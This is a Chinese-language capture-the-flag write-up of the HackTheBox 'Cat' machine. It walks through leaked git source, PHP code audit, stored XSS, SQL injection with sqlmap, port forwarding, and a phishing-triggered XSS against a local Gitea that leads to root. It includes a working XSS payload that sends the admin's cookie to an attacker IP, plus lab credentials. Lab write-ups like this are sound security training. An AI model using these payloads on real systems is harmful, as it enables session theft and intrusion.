Cat-HTB

信息收集

nmap -sC -sV -T4 -Pn 10.10.11.53

加入一下host映射然后访问

扫描下目录

发现存在git泄漏,用git-dumper下载一下。

git-dumper http://cat.htb/.git ./catgit

发现有源码泄漏那就看看源码有什么值得入手的地方

代码审计

xss

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
<?php
session_start();

include 'config.php';

// Check if the user is logged in
if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'axel') {
header("Location: /join.php");
exit();
}

// Get the cat_id from the URL
$cat_id = isset($_GET['cat_id']) ? $_GET['cat_id'] : null;

if ($cat_id) {
// Prepare and execute the query
$query = "SELECT cats.*, users.username FROM cats JOIN users ON cats.owner_username = users.username WHERE cat_id = :cat_id";
$statement = $pdo->prepare($query);
$statement->bindParam(':cat_id', $cat_id, PDO::PARAM_INT);
$statement->execute();

// Fetch cat data from the database
$cat = $statement->fetch(PDO::FETCH_ASSOC);

if (!$cat) {
die("Cat not found.");
}
} else {
die("Invalid cat ID.");
}
?>




<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title><?php echo htmlspecialchars($cat['cat_name']); ?> - Cat Details</title>
<link rel="stylesheet" href="css/styles.css">
<style>
.container {
max-width: 800px;
margin: 20px auto;
padding: 20px;
background-color: #f9f9f9;
border-radius: 10px;
box-shadow: 0 0 20px rgba(0, 0, 0, 0.1);
}
.cat-photo {
width: 100%;
border-radius: 10px;
margin-bottom: 10px;
}
.cat-info {
font-size: 18px;
margin-bottom: 10px;
}
</style>
</head>
<body>

<div class="navbar">
<a href="/">Home</a>
<a href="/vote.php">Vote</a>
<a href="/contest.php">Contest</a>
<?php
if (isset($_SESSION['username'])) {
// If user is logged in
if ($_SESSION['username'] == 'axel') {
// If the logged in user is admin
echo '<a href="/admin.php">Admin</a>';
}
echo '<a href="/logout.php">Logout</a>';
} else {
// If no user is logged in
echo '<a href="/join.php">Join</a>';
}
?>
</div>

<div class="container">
<h1>Cat Details: <?php echo $cat['cat_name']; ?></h1>
<img src="<?php echo $cat['photo_path']; ?>" alt="<?php echo $cat['cat_name']; ?>" class="cat-photo">
<div class="cat-info">
<strong>Name:</strong> <?php echo $cat['cat_name']; ?><br>
<strong>Age:</strong> <?php echo $cat['age']; ?><br>
<strong>Birthdate:</strong> <?php echo $cat['birthdate']; ?><br>
<strong>Weight:</strong> <?php echo $cat['weight']; ?> kg<br>
<strong>Owner:</strong> <?php echo $cat['username']; ?><br>
<strong>Created At:</strong> <?php echo $cat['created_at']; ?>
</div>
</div>

</body>
</html>

在 view_cat.php文件中存在直接输出用户的输入,所以我们要在注册的时候将用户名改成

1
<img src=1 onerror=this.src="http://10.10.16.8/?ocean="+encodeURIComponent(document.cookie)>

等待管理员访问,然后监听80端口获取cookie

然后替换管理员cookie登录即可。不过进入后台发现也没有什么可以利用的点继续去看看代码有其他的漏洞吗

sql注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
include 'config.php';
session_start();

if (isset($_SESSION['username']) && $_SESSION['username'] === 'axel') {
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (isset($_POST['catId']) && isset($_POST['catName'])) {
$cat_name = $_POST['catName'];
$catId = $_POST['catId'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);

$stmt_delete = $pdo->prepare("DELETE FROM cats WHERE cat_id = :cat_id");
$stmt_delete->bindParam(':cat_id', $catId, PDO::PARAM_INT);
$stmt_delete->execute();

echo "The cat has been accepted and added successfully.";
} else {
echo "Error: Cat ID or Cat Name not provided.";
}
} else {
header("Location: /");
exit();
}
} else {
echo "Access denied.";
}
?>

在accept_cat.php文件中存在sql注入在insert语句cat_name可控并且没用使用预编译语句,所以用sqlmap跑一下

sqlmap -r 1.post --risk 3 --level 5 --batch --dbms sqlite

这里sqlite数据库在配置文件中有提现

继续盲注得到用户密码

1
rosamendoza485@gmail.com      ac369922d560f17d6eeb8b2c7dec498c

拿去破解下这个密码

然后使用rosa用户登录,但是发现并没有用户的flag。

发现还有几个用户,考虑提权

提权

看了下端口发现3000存在服务转发一下

1
ssh -L 3000:127.0.0.1:3000 rosa@cat.htb

去找一下exp

https://www.exploit-db.com/exploits/52077 存在xss,但是这里要求登录才能继续利用该漏洞

那么我们继续返回shell中去找找其他用户有没有泄漏的密码啥的

看apache的日志找到另一个用户的密码

拿到flag,然后继续利用刚才的漏洞看看能否提权

登录进来之后,新建一个respo然后在描述信息里加上payload

至于为什么我也看的别的师傅的博客是在邮件里有一段描述

然后发送邮件给jobert 坚听端口获得 信息,这里需要也把邮件的端口转发出来

1
swaks --to "jobert@localhost" --from "axel@localhost" --header "Click" --body "http://localhost:3000/axel/test" --server localhost

然后得到密码IKw75eR0MR7CMIxhH0 直接su得到root权限之后拿到flag